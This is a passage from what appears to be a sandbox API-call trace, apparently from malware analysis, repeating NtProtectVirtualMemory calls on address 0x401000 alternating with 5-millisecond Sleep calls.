OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.644] Sleep (dwMilliseconds=0x5) [0259.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.692] Sleep (dwMilliseconds=0x5) [0259.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.743] Sleep (dwMilliseconds=0x5) [0259.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.790] Sleep (dwMilliseconds=0x5) [0259.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.861] Sleep (dwMilliseconds=0x5) [0259.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.919] Sleep (dwMilliseconds=0x5) [0259.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.978] Sleep (dwMilliseconds=0x5) [0260.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.030] Sleep (dwMilliseconds=0x5) [0260.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.105] Sleep (dwMilliseconds=0x5) [0260.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.163] Sleep (dwMilliseconds=0x5) [0260.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.230] Sleep (dwMilliseconds=0x5) [0260.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.323] Sleep (dwMilliseconds=0x5) [0260.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.383] Sleep (dwMilliseconds=0x5) [0260.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.450] Sleep (dwMilliseconds=0x5) [0260.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.505] Sleep (dwMilliseconds=0x5) [0260.559] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.559] Sleep (dwMilliseconds=0x5) [0260.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.603] Sleep (dwMilliseconds=0x5) [0260.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.654] Sleep (dwMilliseconds=0x5) [0260.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.695] Sleep (dwMilliseconds=0x5) [0260.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.743] Sleep (dwMilliseconds=0x5) [0260.788] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.789] Sleep (dwMilliseconds=0x5) [0260.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.839] Sleep (dwMilliseconds=0x5) [0260.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.903] Sleep (dwMilliseconds=0x5) [0260.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.945] Sleep (dwMilliseconds=0x5) [0260.993] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.994] Sleep (dwMilliseconds=0x5) [0261.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.041] Sleep (dwMilliseconds=0x5) [0261.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.089] Sleep (dwMilliseconds=0x5) [0261.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.137] Sleep (dwMilliseconds=0x5) [0261.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.180] Sleep (dwMilliseconds=0x5) [0261.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.229] Sleep (dwMilliseconds=0x5) [0261.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.375] Sleep (dwMilliseconds=0x5) [0261.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.446] Sleep (dwMilliseconds=0x5) [0261.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.501] Sleep (dwMilliseconds=0x5) [0261.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.553] Sleep (dwMilliseconds=0x5) [0261.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.603] Sleep (dwMilliseconds=0x5) [0261.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.650] Sleep (dwMilliseconds=0x5) [0261.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.697] Sleep (dwMilliseconds=0x5) [0261.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.743] Sleep (dwMilliseconds=0x5) [0261.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.791] Sleep (dwMilliseconds=0x5) [0261.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.839] Sleep (dwMilliseconds=0x5) [0261.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.918] Sleep (dwMilliseconds=0x5) [0261.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.067] Sleep (dwMilliseconds=0x5) [0262.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.116] Sleep (dwMilliseconds=0x5) [0262.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.163] Sleep (dwMilliseconds=0x5) [0262.211] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.211] Sleep (dwMilliseconds=0x5) [0262.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.262] Sleep (dwMilliseconds=0x5) [0262.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.311] Sleep (dwMilliseconds=0x5) [0262.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.356] Sleep (dwMilliseconds=0x5) [0262.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.395] Sleep (dwMilliseconds=0x5) [0262.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.442] Sleep (dwMilliseconds=0x5) [0262.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.541] Sleep (dwMilliseconds=0x5) [0262.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.638] Sleep (dwMilliseconds=0x5) [0262.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.722] Sleep (dwMilliseconds=0x5) [0262.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.788] Sleep (dwMilliseconds=0x5) [0262.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.837] Sleep (dwMilliseconds=0x5) [0262.885] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.886] Sleep (dwMilliseconds=0x5) [0262.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.938] Sleep (dwMilliseconds=0x5) [0262.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0262.993] Sleep (dwMilliseconds=0x5) [0263.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.106] Sleep (dwMilliseconds=0x5) [0263.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.150] Sleep (dwMilliseconds=0x5) [0263.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.196] Sleep (dwMilliseconds=0x5) [0263.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.242] Sleep (dwMilliseconds=0x5) [0263.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.317] Sleep (dwMilliseconds=0x5) [0263.365] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.366] Sleep (dwMilliseconds=0x5) [0263.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.417] Sleep (dwMilliseconds=0x5) [0263.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.464] Sleep (dwMilliseconds=0x5) [0263.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.510] Sleep (dwMilliseconds=0x5) [0263.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.558] Sleep (dwMilliseconds=0x5) [0263.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.598] Sleep (dwMilliseconds=0x5) [0263.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.670] Sleep (dwMilliseconds=0x5) [0263.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.723] Sleep (dwMilliseconds=0x5) [0263.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.778] Sleep (dwMilliseconds=0x5) [0263.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.821] Sleep (dwMilliseconds=0x5) [0263.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0263.869] Sleep (dwMilliseconds=0x5) [0263.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 